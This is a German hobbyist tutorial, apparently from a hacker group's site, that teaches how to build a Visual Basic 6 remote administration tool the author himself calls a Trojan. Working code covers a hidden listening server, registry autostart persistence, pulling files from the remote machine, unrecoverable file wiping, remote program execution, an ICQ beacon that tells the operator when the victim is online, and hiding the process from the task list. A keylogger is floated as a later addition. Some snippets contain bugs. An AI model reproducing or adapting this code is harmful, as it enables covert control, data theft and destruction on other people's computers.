######################################################################### Remote Adminstration Program (Trojaner) selber schreiben mit Visual Basic ######################################################################### Vorwort: Ich schreibe dieses Tutorial, um zu zeigen, was man mit Visual Basic alles machen kann,aber auch, um zu beweisen, das ein RAT nicht umbedingt als Trojaner missbraucht werden muss, was ja leider oft der Fall ist! Darum werde ich hier sicherlich nicht erklären, wie man so Kinderrein wie das sperren der Tastatur und Maus,den Screen umzudrehn, die Farben zu ändern, alle Dateinnamen umzuschreiben etc... mit VB verwirklichen kann, sondern vielmehr die wirklichen Vorteile eines NICHT schädlich genutzten RAT erklären. Desweitern, kann natürliches jedes Kind (Script-Kiddie ;)) einen Trojaner/RAT herrunterladen, aber selber schreiben ist natürlich immer eine ganz andere Kunst! Desweitern, wird es in diesem Tutorial Beispielcode geben, da es ohne ja nur schwer nachzuvollziehn ist, allerdings sollte man diesen trotzdem nicht einfach kopieren und in VB einfügen. Sondern ihn nachschreiben, und am besten selber umschreiben und weiter entwickeln, nur so kann man wirklich was lernen!Auch werd ich hier sicherlich nicht alle Funktionen aufzählen, die man so einbaunen könnte (evt. wird das in einem weiteren Tutorial folgen). Ich werde dieses Tutorial so einfach wie möglich halten, und es sollte so auch für Anfänger verständlich sein, trotzdem empfiehlt es sich vorher allgemein mit VB beschäftigt zu haben, und schon etwas Grundwissen mitzubringen! Desweiteren nutze ich Visual Basci 6.0 Enterprise Edition damit alle Funktionen die wir brauchen unterstütz werden. Auch hab ich die Englische Version, sollten also Probleme mit der Sprache auftreten, dann müsst ihr gegenenfals etwas umschreiben, aber ich denke kaum, das das der Fall sein wird.. Rechtliche Grundlage: Da man die von mir hier beschriebenen Funktionen, sich auch einfach für einen Trojaner missbrauchen lassen, lehne ich sämtliche Verantwortung ab, was mit dem Wissen das ich hier verbreite gemacht wird! Evt. Schäden und Missbräuche werde ich nicht verantworten! Dieses Tutorial dient rein zu Wissenserweiterung und nicht zu illegalen Zwecken! Inhalt: 1. Was ist eigentlich ein RAT Program und wie funktioniert es? 2. Erste Schritte... 3. Winsock benutzen... 4. Der Server 4.1 Den Server Empfangsbereit machen 4.2 Daten empfangen und weiterverarbeiten 5. Der Client 5.1 Verbindung herstellen und trennen 5.2 Prüfen ob eine Verbindung steht 5.3 Daten senden 6. Weitere Funktionen 6.1 Registrieren des Servers 6.2 Größere Datein senden 6.3 Datein löschen 6.4 Anwendungen ausführen 6.5 Benachrichtigung via ICQ, wenn Server online 6.6 Server "unsichtbar" machen 7. Server installierbar machen 8. Aussicht auf evt. Funktionserweiterungen 9. Zusammenfassung 1. Was ist eigentlich ein RAT ? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Jeder kennt sicherlich einen Trojaner, schließlich findet man das Wort heutzutage in jedem drittklassigen "Computer Magazin", und auf fast jeder Website, die sich mit Computer Security etc befasst! Aber eigentlich steckt dahinter ein sogenanntes Remote Administration Program, welches eigentlich dazu dienen sollte, einen PC fernzusteuern, also z.B. von zu Hause den Rechner im Büro! Leider wurde diese durchaus nützliche Funktion schnell missbraucht, um einfach und effizent die Kontrolle über fremde PC's zu übernehmen.Trotz allem steckt dahinter eigentlich ein einfaches Prinzip. Das RAT bzw der Trojaner besteht eigentlich aus 2 Teilen, dem Server und dem Clienten. Der Server wird auf dem PC installiert, den man später "fernsteuern" möchte, der Client bleibt auf dem eigenen PC. Nun kann man mit Hilfe des Clients Befehle an den Server schicken, welche er dann ausführt. So nun müssen wir nur noch diese Theorie in die Praxis umsetzten! 2.Erste Schritte... ~~~~~~~~~~~~~~~~~~~ Zuerst sollten wir uns überlegen was denn alles in unser RAT reinkommen soll, bzw welche Funktionen es haben sollte. Natürlich brauchen wir einen Server und einen Clienten, desweitern müssen wir dem Clienten ermöglichen Befehle an den Server zu schicken, welche dieser auch empfangen können muss und natürlich in der Lage sein sollte diese zu verarbeiten! Dafür muss der Server auf einem bestimmten Port empfangsbereit sein, und so die Befehle entgegen nehmen können. Um das zu erreichen sollte der Server am besten jedesmal mit Windows gestartet werden, also muss er in die Registry eingetragen werden. Nun wollen wir aber später ja nicht nur Befehle senden,sondern evt auch Programme oder sonstige Datein versenden, dir wir dann auf dem anderen PC ausführen können oder einfach nur dort speichern. Also muss auch das realisiert werden. Desweiteren will man ja auch sehn, was man eigentlich schon geschickt hat, bzw gespeichert, und das am besten so übersichtlich wie im Windows Explorer. Also muss auch dieses gemacht werden, am besten gleich mit der Funktion Datein zu löschen. So und damit wir immer wissen, wann wir auf den PC bzw Server zugreifen können, bauen wir uns noch eine ICQ-Notify Funktion ein, so das wir immer eine Nachricht bekommen wenn der Server online ist. Soweit so gut, aber jetzt fangen wir erstmal ganz am Anfang an... 3. Winsock benutzen... ~~~~~~~~~~~~~~~~~~~~~~ Also öffnen wir unser Visual Basic und erstellen eine neue Form. So nun stellt sich natürlich die Frage, wie können wir überhaupt eine Verbindung allgemein, und speziell zwischen unserem Server und Client herstellen?! Dies realisieren wir mit dem Winsock-Control! Um dieses in unsere Form einzufügen, gehen wir über Projekt - Komponenten, und suchen dort die Microsoft Winsock Komponente 6.0. Davor machen wir nun ein Häckchen, und klicken auf ok. Nun haben wir ein weiters Symbol links in unserer Leiste, welches die Winsock Komponente symbolisiert! So nun fügen das ganze in unsere Form ein, und wir haben nun die Voraussetzungen eine Verbindung aufzubaun. 4. Der Server ~~~~~~~~~~~~~~ Der eine Teil unsers RAT's und evt. der wichtigere schließlich muss er einwandfrei funktioniren, damit er unsere gesendeten Kommandos ausführen kann. 4.1 Den Server empfangsbereit machen ------------------------------------ Nun denkt ihr euch sicherlich, dass kann ja nicht alles sein, ein Winsock-Control einfügen, und das ganze soll schon funktionieren? Nein natürlich kann das ganze so nicht funktionieren! Also um eine Verbindung aufzubaun, brauchen wir ja zwei Elemente, eines das etwas sendet, und ein anders welches empfängt. Unser Server ist hier der Empfänger, und damit er das auch ordentlich sein kann, müssen wir ihn erstmal empfangsbereit machen, bzw dafür sorgen das er Daten empfangen kann! Dafür fügen wir einfach folgenden Code in unsere Form ein: Private Sub Form_Load() ws.LocalPort = 42222 ws.Close ws.Listen End Sub So ws ist hier unser Winsock-Control, standartmäßig heißt es ja Winsock1, da das aber zu umständlich ist, nennen wir es einfach ws (Vergesst nicht das Winsock auch rechts in der Leiste in ws umzubennen, sonst geht das ganze nicht). Das .LocalPort deviniert den Port, auf dem das Winsock Daten empfangen kann, es ist völlig egal welchen ihr nehmt, aber er sollte höher als 1024 liegen, da die Ports darunter von anderen Programmen genutzt werden. Das .Close und .Listen schließen erst die Verbindung ( Close: fals eine bestehen sollte, sonst funktioniert das spätere connecten nicht) und lassen das Winsock auf dem Port auf Daten warten, bzw wörtlich "lauschen" (listen). So weit so gut, nun ist der Server empfangsbereit, damit das ganze aber auch einwandfrei funktioniert fügen wir noch folgenden Code in die Form ein: Private Sub ws_ConnectionRequest(ByVal requestID As Long) If ws.State <> sckClosed Then ws.Close ws.Accept requestID End Sub Das brauchen wir, damit Winsock auch wirklich den Verbindungsversuch vom Clienten akzeptiert. 4.2. Daten empfangen und weiterverarbeiten ------------------------------------------ Nachdem unser Server nun Daten theoretisch empfangen kann, soll er das ja auch tun! Leider geht das mit unserem bisherigen Code noch nicht ganz. Zwar hat der Server nun einen Port, und kann eine Verbinung mit dem Clienten aufnehmen, aber damit er wirklich die Daten des Clientens empfangen kann, fehlt noch ein bißchen. Aber auch dies ist natürlich kein wirk- liches Problem, und lässt sich folgendermaßen lösen: Private Sub ws_DataArrival(ByVal bytes As Long) Dim Dat As String ws.GetData Dat MsgBox Dat, vbInformation End Sub Wie gesagt ist nicht schwer, aber auch noch nicht sehr komplex. Aber erstmal will ich erklären was jetzt hier genau passiert. Zuerst müßen wir eine Variable devinieren, in welcher die empfangen Daten gespeichert werden. Als nächstes empfängt das Winsock mit ws.GetData die Datein und speichert sie in der Variable Dat. So und nun haben wir hier noch eine besondere Zeile "MsgBox Dat, vbInformation" , diese bewirkt, dass die empfangen Daten in einer Messagebox angezeigt werden, ähnlich einer Box welche erscheint, wenn Windows einen Fehler meldet. Man kann dies also als eine Art Nachrichtenübertragung betrachten, mit der ihr mit Hilfe des Servers Meldungen auf dem Bildschirm des anderen PC's ausgeben könnt. Zugegeben dies ist noch nicht sehr orginell, aber soll euch eine erste Möglichkeit der Datenübertragung und ihrer Auswertung zeigen. 5. Der Client ~~~~~~~~~~~~~ Das andere Teilstück unseres RAT's. Mit ihm können wir Kommandos an den Server schicken und diesen komplett steuern, und so indirekt auch den anderen PC. 5.1 Verbindung herstellen und trennen ------------------------------------- Nachdem nun unser Server auf einem bestimmten Port auf eine Verdindung wartet, müssen wir dem Clienten nur "beibringen" mit diesem zu connecten. Also erstellen wir eine neue Form, und fügen auch hier ein Winsock Control ein. Nun brauchen wir aber noch ein bißchen mehr, 3 zusätzliche Buttons, 2 Textfelder, und 1 Label. Das erste Textfeld brauchen wir, um hier die Ip einzugeben, von dem PC zu dem wir connecten möchten. Den Verbinungsvorgang starten wir mit dem ersten Button (Command1). Um das tun zu können fügen wir folgenden Code ein: Private Sub Command1_Click() ws.Close ws.Connect Text1.Text, 42222 End Sub Hier wird dem Winsock einfach gesagt, das es die Ip aus dem Textfeld (Text1) nutzen soll, um so zu dem Port 42222 unseres Servers connecten zu können. Damit steht schon unsere Ver- binung, sobald wir auf den ersten Button klicken. Fals wir die Verbindung wieder beenden möchten, machen wir das ganze wieder über die ws.Close Funktion. Da dabei allerdings Fehler auftreten können, verändern wir das ganze noch ein bißchen, so dass die Verbindung wirklich getrennt ist. Dafür nutzen wir den 2 Button. Private Sub Command2_Click() ws.Close Do DoEvents Loop Until ws.State = sckClosed Label1.Caption = "Disconnected" End Sub 5.2 Prüfen ob eine Verbindung steht ----------------------------------- Damit wir aber auch wirklich wissen, ob unsere Verbinung steht, nutzen wir nun das von uns vorher eingefügte Label. Mit dem können wir uns anzeigen lassen, ob unser Server connectet ist oder nicht, indem wir einfach die Funtkionen dafür von Winsock abrufen. Dies geschiet mit folgendem Code: Private Sub ws_Close() Label1.Caption = "not connected" End Sub Private Sub ws_Connect() Label1.Caption = "Connected!" End Sub Eigentlich ganz einfach, nun müsste das Label immer den entsprechenden Status anzeigen. Dies wird schon bei der oben beschriebenen Disconnection-funktion genutzt. 5.3 Daten senden ---------------- Nun kommen wir zum eigentlichen Datenübertragung, mit der wir ja zuerst nur Text an den Server schicken. Das ist recht einfach, wir brauchen einfach folgenden Code dafür: Private Sub Command3_Click() ws.SendData Text2.Text 'So sendet die Winsock Daten bei einer bestehnden Verbindung End Sub Und schon können wir mit Hilfe des 3. Buttons den Text den wir in das zweite Testfeld schreiben, an den Server schicken, welches der nun als Meldung ausgibt. (Dafür muss man natürlich connectet sein!) 6. Weitere Funktionen ~~~~~~~~~~~~~~~~~~~~~ Nun sind die oben beschriebenen Sachen zwar ganz net, aber man kann damit ja noch net wirklich viel anfangen. Kommen wir also zu weiteren und auch komplexeren Komandos. 6.1 Regestrieren des Servers ---------------------------- Jetzt haben wir zwar einen fertigen kleinen Server, aber es wäre ja ganz nett, wenn dieser sich immer von alleine starten würde sobald windows startet, da wir das von zu Hause manuell schlecht machen können. Also tragen wir den Server am besten in den autostart ein, also in die registry und dort in die Unterordner Run und RunServices. Das ganze ist nun schon etwas komplizierter, deswegen brauchen wir noch ein zusätzliches Modul. Allein schon deswegen um noch etwas die Übersicht zu behalten. Aber erstmal kommt folgender Code in die normale Form: Private Sub RegisterApp() Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, _ "Software\Microsoft\Windows\CurrentVersion\Run", "RAT", "C:\Windows\testrat.exe") Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, _ "Software\Microsoft\Windows\CurrentVersion\RunServices", "RAT", "C:\Windows\testrat.exe") End Sub Hier wird ein Eintrag mit namen RAT in den Ordner Run und RunServices der Registry ein- getragen (indem die Funktion "SetMyApplicationToRun" gestartet wird), welcher auf das Programm testrat.exe im Ordner C:\Windows verweißt. testrat.exe ist hier unser Server, der im Windows Ordner abgespeichert ist. Natürlich ist der Speicherort und Name variabel, ihr müsst dann blos den entsprechenden Code ändern, sonst wird der Server nicht gestartet. Ok soweit der Code für die Form, jetzt brauchen wir aber noch so einiges an Code (wie z.B. die Funktion "SetMyApplicationToRun") welchen wir in das Modul einfügen. Das ganze sieht dann so aus: Private Declare Function RegCreateKey Lib "advapi32.dll" _ Alias "RegCreateKeyA"(ByVal hKey As Long, _ ByVal lpSubKey As String, phkResult As Long) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" _ (ByVal hKey As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" _ Alias "RegSetValueExA"(ByVal hKey As Long, _ ByVal lpValueName As String, _ ByVal Reserved As Long, _ ByVal dwType As Long, _ lpData As Any, _ ByVal cbData As Long) _ As Long Private Const REG_SZ = 1 Public Const HKEY_LOCAL_MACHINE = &H80000002 Public Sub SetMyApplicationToRun(lhkey As Long, sSubKey As String, sValueName As String, _ lpData As String) Dim phkResult As Long Dim lRet As Long lRet = RegCreateKey(lhkey, sSubKey, phkResult) lRet = RegSetValueEx(phkResult, sValueName, 0, REG_SZ, ByVal lpData, Len(lpData)) Debug.Print lRet lRet = RegCloseKey(phkResult) End Sub Sieht komplizierter aus als es ist, wir haben hier 3 Funktionen "RegCreateKey" welche den Eintrag in die Registry macht, "RegCloseKey" welche das eintragen abschließt, also den Eintrag speichert, und "RegSetValueEx" welche die von uns voreingestelleten Angabe wie Name des Programms, und Speicherort des Programms, aufruft. Diese 3 Funktionen werden dann in "SetMyApplicationToRun" zusammengefasst, und daraus entsteht dann der fertige Registryeintrag. Nun gut, und damit dieser ganze Vorgang ausgeführt wird, wenn der Server das erste mal gestartet wird, und wir das danach nicht mehr selber machen müssen, fügen wir noch eine Codezeile ein, und zwar in den Private Sub from_Load(): Call RegisterApp Und damit sich der Server dann auch da befindet, wo der Registryeintrag drauf zugreifen möchte, kommt noch die Zeile FileCopy App.EXEName & ".exe", "C:\Windows\" & App.EXEName & ".exe" dazu, welche den ganzen Server nach C:\Windows kopiert. Natürlich kann der Pfad wieder manuell geändert werden. 6.2 Größere Datein senden ------------------------- Nachdem wir nun wissen, wie wir einfachen Text an den Server schicken können, reicht uns das natürlich nicht ganz. Schließlich wollen wir ja einen RAT coden, und kein Chatprogramm ;) Jetzt ist dies allerdings nicht so einfach, wie unser Textversand, da wir es hier ja mit richtigen Datein zu tun haben. Um diese versenden zu können, müssen wir sie Byte für Byte einlesen, und an den Clienten schicken, welcher sie wieder zusammensetzt. Damit können wir uns dann Datein erstmal vom Server schicken lassen. Natürlich lässt sich das ganze auch umd- rehn, und wir können den Server auch vom Clienten aus Datein schicken. Dafür müsst ihr den Code den hier beschreibe einfach entsprechend umdrehen, bzw Servercode und Clientcode ver- tauschen. Fangen wir mit dem Server an. Damit unser Server entsprechende Anfragen etc. später gleich- zeitig verarbeiten kann, benutzen wir ein 2 Winsock-Control, sowohl beim Server und beim Clienten. Also fügen wir dieses ein, und machen die selben Schritten wie in 4.1 und 5.1. Natürlich wählen wir einen anderen Port, aber ansonsten bleibt alles gleich, bis auf den Namen des Winsocks, dieses heißt nun ws2. Nun zum Code des Servers: 'Sub zum senden von Datein Private Sub ws2_DataArrival(ByVal bytesTotal As Long) Dim data2 As String Dim sDat As Byte ws2.GetData data3 'Datei puffern Open data2 For Binary Access Read As #1 Do While Not EOF(1) Get #1, , sDat ws2.SendData sDat DoEvents Loop Close #1 End Sub Also hier empfängt das ws2 den befehl etwas an den Clienten zu schicken. Dafür brauchen wir 2 Variablen, data2 (in ihr wird die Datei "zwischengespeichert" um sie dann auslesen zu können), und sDat (ihr werden die Bytes der zu versendenden Datei einzeln übertragen, welche dann verschickt werden). ws2.GetData data3 Hier wird der Variablen der Pfad der Datei zugewiesen, z.B. "C:\test.exe", welche versand werden soll. (Genauers dann beim Code des Clienten) Open data2 For Binary Access Read As #1 Do While Not EOF(1) Get #1, , sDat Hier wird die Datei(deren Pfad ja in der Variablen data3 gespeichert ist) geöffnet und Byte für Byte eingelesen und in der Variablen sDat zwischengespeichert. ws2.SendData sDat DoEvents Loop Close #1 Nun wird die Datei mit "ws2.SendData sDat" an den Clienten gesendet, und dieser Vorgang mit Loop so lang wiederholt, bis alle Bytes der Datei übertragen wurden. Kommen wir nun zum Clienten. Auch hier brauchen wir wie oben beschrieben, ein 2 Winsock, aber auch ein weiteres Textfeld, und einen zusätzlichen Button. In das Textfeld, schreiben wir dann den Pfad der Datei die wir gesendet haben möchten. Nun noch ein kurzer Code für den Button, in dem wir einfach schreiben, das unser 2.Winsock den Text aus dem Textfeld an den Server schicken soll. Das ganze sieht dann so aus: ws2.SendData Text5.Text Jetzt kommt der etwas komplexere Code, in dem wir dem Winsock sagen, was es mit den vom Server empfangen Bytes machen soll. Private Sub ws2_DataArrival(ByVal bytesTotal As Long) Dim Ziel As String Dim dat1 As Byte Dim dat2 As String Ziel = Text5.Text dat2 = "D:\Copy" & Right$(Ziel, 4) ws2.GetData dat1 pos = pos + 1 Open dat2 For Binary Access Write As #2 Seek #2, pos Put #2, , dat1 Close #2 End Sub Nun haben wir hier erstmal 3 Variablen, die Variable Ziel (hier kommt der Pfad rein, wo die empfangene Datei gespeichert werden soll, nämlich dem im Textfeld Text5 angegebenen. Natürlich kann man hier ein weiteres Textfeld nutzen, in dem der Pfad angegeben wird.) dann die Variable dat1 (in welcher die empfangen Bytes zwischen gespeichert werden), und die Variable dat2 welche den Pfad der neuen Datei enthält. Bei diesem ganzen empfangen der Datei, werden folgende Vorgänge durchlaufen. Zuerst werden die einzelnen Bytes empfangen und zwischen gespeichert, und das Ziel für die neue Datei festgelegt. Ziel = Text5.Text dat2 = "D:\Copy" & Right$(Ziel, 4) ws2.GetData dat1 Nun wird die neue Datei "geöffnet" um die Bytes hinein zuschreiben. Open dat2 For Binary Access Write As #2 Seek #2, pos Put #2, , dat1 Close #2 So und damit haben wir dann eine fertige Kopie der Datei, die auf dem anderen PC lag. 6.3 Datein löschen ~~~~~~~~~~~~~~~~~~ Diese Funtkion ist im Prinzip ja recht einfach, mit dem einfachen Befehl "Kill" kann man ja schon eine Datei mit VB löschen. Jetzt reicht uns aber das ganze noch nicht, da diese Datei nicht wirklich gelösch ist, und mit dem jeweiligen Programm wiederhergestellt werden kann. Damit wir aber z.B. wichtige Dokumente unwiederruflich löschen können, werden wir die Datei Byte für Byte einlesen, mit Nullen überschreiben, und dann löschen! Das hat den Effekt, das die Datei wirklich unbrauchbar wird. Der Code des Clienten, ist hier relativ einfach wir schicken einfach einen Befehl an den Server, welcher die Löschfunktion auslöst. Dabei verbinden wir das senden diese Befehl, noch mit einem weiteren Textfeld, in das wir den Pfad der zu löschen Datei eintragen. Dazu natürlich wie immer ein Button mit dem der ganze "Befehl-Senden" Vorgang gestartet wird. Code für den Button im CLienten: ws3.SendData Text*.Text 'für * das entsprechende neue Textfeld eintragen also z.B 4 Nun zum Server, hier benötigen wir ein weiteres Winsock, allein aus Übersichtlichkeit, ist dies ganz sinvoll, und auch um evt. später Konflikte von Funktionen aus dem Weg zugehen! Außerdem ist der Server dann auch in der Lage mehrer Sachen gleichzeitig zu bearbeiten! So aber jetzt zum Code für den Server, das neue Winsock (ws3) wird wie immer eingefügt, und mit einem neuen Port versehn, ansonsten ist alles dasselbe wie bei den anderen! Private Sub ws3_DataArrival(ByVal bytesTotal As Long) Dim Dat3 As String ws3.GetData Dat3 If Dat3 Like "*:\*" Then FileKill Dat3 End If End Sub Alle Daten die ws3 empfängt und die einen ":\" Teil enthalten, werden gelöscht. Jetzt fehlt nur noch die FileKill Funktion, dass ganze sieht dann so aus: Public Function FileKill(ByVal sFilename As String)As Boolean Dim F As Integer Dim sInhalt As String Dim FileSize As Long Dim ReadSize As Long Dim Size As Long Const BlockSize = 4096 ' Fehlerbehandlung aktivieren On Local Error GoTo FileKill_Error ' Datei binär öffnen F = FreeFile Open sFilename For Binary As #F ' Dateigröße FileSize = LOF(F) ' Datei-Inhalt blockweise mit ' Leerzeichen überschreiben While ReadSize < FileSize If ReadSize + BlockSize > FileSize Then Size = FileSize - ReadSize Else Size = BlockSize End If ' Leerzeichen schreiben sInhalt = Space$(Size) Put #F, , sInhalt ReadSize = ReadSize + Size Wend ' Datei schliessen Close #F ' Datei löschen Kill sFilename FileKill = True Exit Function FileKill_Error: If F > 0 Then Close #F FileKill = False End Function Eigentlich sind die hier gemachten Anmerkungen Erklärung genug! 6.4 Anwendungen ausführen ~~~~~~~~~~~~~~~~~~~~~~~~~ Wenn wir nun ein entsprechendes Programm an den Server geschickt haben, wollen wir das ganze natürlich auch ausführen können. Dies ist recht einfach zu bewerkstelligen, beim Clienten wie immer einfach ein Button plus Textfeld, in dem der Pfad des auszuführenden Programm steht. Fürs versenden, können wir diesmal ein vorher schon benutztes Winsock nehmen, welches ist eigentlich egal. Der Code für den Button sollte eigentlich klar sein. Beim Server nehmen wir jetzt das entsprechende Winsock, das zu dem im Clienten benutzten past (gleicher Port). Ich nehme hier unser erstes Winsock, und erweiter den Dateiempfang durch eine If-Funktion. Das ganze sieht dann so aus: Private Sub ws_DataArrival(ByVal bytes As Long) Dim Dat As String ws.GetData Dat If Dat <> "*.*" Then MsgBox Dat, vbInformation End If If Dat = "*.exe" Then Shell Dat End If End Sub Fertig. Also recht einfach das ganze, alle empfangen Daten die mit .exe enden, also z.B der Pfad eines Programmes, werden vom Server ausgeführt. Alle andern die keinen Punkt enthalten also keine Datei sind, werden als Textbox ausgeben. (<> heißt ja ungleich, und sorgt hier dafür, das nicht der Pfad für ein Programm einmal als Textbox ausgeben wird, und gleichzeitig für die Ausführung des Programmes genutzt wird.) 6.5 Benachrichtigung via ICQ wenn Server online ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Diese äußert praktische Funktion soll ja auch net in unserem Server fehlen, damit wir immer wissen wann wir ihn denn erreichen können. Damit das funktioniert, lass wir den Server über den ICQ-Server einen Pager an unsere ICQ-Uin schicken. Dafür brauchen wir aber noch ein paar zusätzliche Elemente in unserer Server Form, und zwar: 5 neue Textfelder, und eine zusätzliche Komponente, das Internet Transfer Control. Dies ist äußerst wichtig, damit unser Server mit dem Server von ICQ connecten kann, und dort mithilfe eines Scripts, einen Pager an uns schicken kann. Die Textfelder nennen wir wie folgt, txtICQNr.Text, txtName.Text, txtEmail.Text, txtBetreff.Text, txtNachricht.Text Diese Felder müssen wir alle ausfüllen, da sonst ICQ den Pager nicht verschickt, wobei allerdings die ICQ-Nummer im Text feld txtICQNr.Text am wichtigsten ist, in dem Rest kann stehen was ihr wollt. Das einzige was zu bedenken ist das im txtEmail ein email- artiger Text steht, also z.B. abc@xyz.com Nachdem wir das alles fertig haben, kommen wir jetzt zu der eigentlichen Funktion, mit der wir das ganze ausführen können: Public Sub ICQMessage(ICQNummer As String, Name As String, _ EMail As String, Betreff As String, Nachricht As String) Dim r_name As String Dim r_Subject As String Dim r_Message As String r_name = Replace(Trim$(Name), " ", "+") r_Subject = Replace(Trim$(Betreff), " ", "+") r_Message = Replace(Trim$(Nachricht), " ", "+") ' Zeilenumbrüche codieren r_Message = Replace(r_Message, vbCrLf, "%0d%0a") Const ICQURL = "http://wwp.icq.com/scripts/WWPMsg.dll" Inet1.Execute ICQURL & "?from=" & r_name & _ "&fromemail=" & EMail & _ "&subject=" & r_Subject & _ "&body=" & r_Message & _ "&to=" & ICQNummer & _ "&Send=" & """" End Sub So der wichtigste Teil ist eigentlich der, welcher mit "Const ICQURL = "http://wwp.icq.com/scripts/WWPMsg.dll" anfängt, hier connectet unser Internet Control mit dem ICQ Server und mit Hilfe der dort abgelegten dll wird ein Pager an uns verschickt, in dem er die von uns ausgefüllten Text felder an den Server schickt. So und damit das immer passiert wenn der Server online geht, bzw gestartet wird, kommt das ganze noch in den Form_Load: ICQMessage txtICQNr.Text, txtName.Text, txtEmail.Text, _ txtBetreff.Text, txtNachricht.Text So das war alles. Nun muss man halt nurnoch bedenken wie man das denn macht, wenn der PC nicht online ist, also auch net der Server online gehen kann. Dann müsste diese Funktion ja in gewissen abständen sooft ausgeführt werden bis eine Internetverbindung besteht. Aber das dürft ihr euch selber überlegen, bzw. ich werde es evt. bei einem "Funtkions- erweiterungstut" beilegen. 6.6 Server "unsichtbar" machen ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nun kommt man ja manchmal in die Situation, das nicht jeder sehen soll, das auf dem ent- sprechenden PC ein Server läuft. Jetzt kann man natürlich die Form des Programmes ganz ein- fach "unsichtbar" machen, indem man in Privat Sub From_Load() From1.hide eingibt. Nun ist zwar das Programm an sich "getarnt" aber durch drücken von strg-alt-entf wird es immernoch als laufender Prozess angezeigt. Um dies zu unterbinden, lassen wir die aktuelle Process-ID auslesen, und dann mithilfe des Kernels, zu verstecken, bzw nicht mehr anzuzeigen. Dafür brauchen wir nur zwei kleine Funktionen, die wir in die Form einfügen: Private Declare Function GetCurrentProcessId Lib _ "Kernel32" () As Long Private Declare Function RegisterServiceProcess Lib _ "Kernel32" (ByVal dwProcessID As Long, ByVal _ dwType As Long) As Long Und jetzt noch 2 kleine Funtkionsaufrufe und eine Variable in das Private Sub From_Load(): Dim pid& pid = GetCurrentProcessId RegisterServiceProcess pid, 1& So und damit sollte unser Server schon sehr viel schwerer aufzuspüren sein! 7. Server installierbar machen ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nachdem wir nun das Grundlegende unseres RAT fertig haben, liegt es natürlich nahe, das ganze einfach zu komplimieren und dann die fertige exe Datei einfach auf dem Pc auszuführen. Für den Client würde dies funktionieren, schließlich bleibt er auf unserem PC, aber was ist mit der Server Datei? Wir können leider nicht davon ausgehen, das sämtliche Laufzeitdaten von VB bereits auf dem anderen PC installiert sind. Vor allem unser reichlich genutztes Winsock-Controll fehlt auf vielen PC's. Also müssen wir eine Art Setup-Datei erstellen, in die wir alle unsere benötigten .Dll Datein packen können. Es gibt mehrer Möglichkeiten dies zu verwirklichen, einmal kann man den Der Verpackungs- und Weitergabe-Assistent (Bestandteil deiner Visual Basic Installation (ab Prof. Version)) nutzen oder andere Programm wie z.B. Exe Bundle. Um den Microsoft Verpackungs- und Weitergabe-Assistenten nutzen zu können, müsst Ihr euer Projekt zunächst kompilimentieren. Nach dem Start des Assistenten wählen ihr die Projekt- datei aus (VBP-Datei). Um ein Setup zu erstellen müsst ihr dann den Befehl Verpacken aufrufen. Der Assistent ermittelt nun alle Dateien, die von eurer Anwendung benötigt werden. Hierzu "durchforstet" er die Projektdatei nach Verweisen auf externe Komponenten und listet alle gefundenen Komponenten auf. Im großen und ganzen findet der Assistent alle benötigten Dateien selbständig. Sollen weitere Dateien mit ins Setup gepackt werden, z.B. Online-Hilfe, Datendateien u. a., müssen diese manuell hinzugefügt werden. Der Nachteil ist halt, das dieses Setup auch wiederum VB Laufzeitdatein benötigt, allerdings sind diese auf den meisten PC's installiert. 8. Aussicht auf evt. Funktionserweiterungen ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Nachdem wir nun schon ziemlich viele Funtkionen in unseren RAT integriert haben, fehlen uns natürlich noch ein paar Funktionen, wie z.B: - Eine Art Explorer mit dem wir alle Daten des anderen PC's einsehen können - Eine Möglichkeit den Server wieder zu entfernen wenn er nicht mehr gebraucht wird - Die Möglichkeit auch durch Router zu connecten - Sämtliche laufende Prozesse auf den anderen PC aufzulisten und diese gegebenenfals zu beenden - Systeminformationen über den PC sammeln - Ein Keylogger evt. mit der Funktion das ganze an eine E-Mail adresse zu schicken usw. Diese werd ich wohl denächst in einem Zusatz Tutorial beifügen, sobald ich das alles zum laufen gebracht hab, und die Zeit finde es aufzuschreiben. Allerdings sind die hier erklärten Funtkionen eigentlich als Grundlage ausreichend und es ist jedem selbst überlassen eigenes hinzuzufügen oder anderes wegzulassen. 9. Zusammenfassung ~~~~~~~~~~~~~~~~~~ Jetzt sind wir am Ende meines Tutorials. Ich hoffe ich konnte hier einiges an Wissen vermitteln. Natürlich ist das ganze noch nicht zu 100% ausgereift, aber ein bißchen eigen Arbeit müsst und solltet ihr ja auch selber leisten. Aber ansonsten kann man mit diesem RAT-Programm schon eine Menge machen, und ihn evt. als Plattform nutzen um andere RAT's zu uploaden. Trotzdem könnte er auch, mit den folgenden Er- weiterungen, sehr gut als Eigenständiger RAT Funktionieren. Also zum Abschluss hoffe ich, dass man das was ich hier vermitteln wollte zumindest in Teilen nutzen kann, und auch weiterentwickelt. Sicherlich kann man einiges von mir dar- gestelltes anders evt. auch besser machen, aber es soll ja auch erstmal nur als Grundlage dienen. #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~# $ $ # Geschrieben von: MadMat | madmat@login-club.org # $ $ # Mitwirkender und Ideengeber: VeNoM # $ Dieses Tutorial darf kopiert, aber nicht verändert werden $ # # $ $ # http://www.login-club.org | irc.euric.net 6667 #loginclub # $ $ # __ _ ________ __ # $ / / ___ ___ (_)___ / ____/ /_ __/ /_ $ # / / / __ \/ __ \/ / __ \/ / / / / / / __ \ # $ / /__/ /_/ / /_/ / / / / / /___/ / /_/ / /_/ / $ # /____/\____/\__ /_/_/ /_/\____/_/\____/_____/ # $ / /_/ / $ # \____/ # $ $ #~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#~#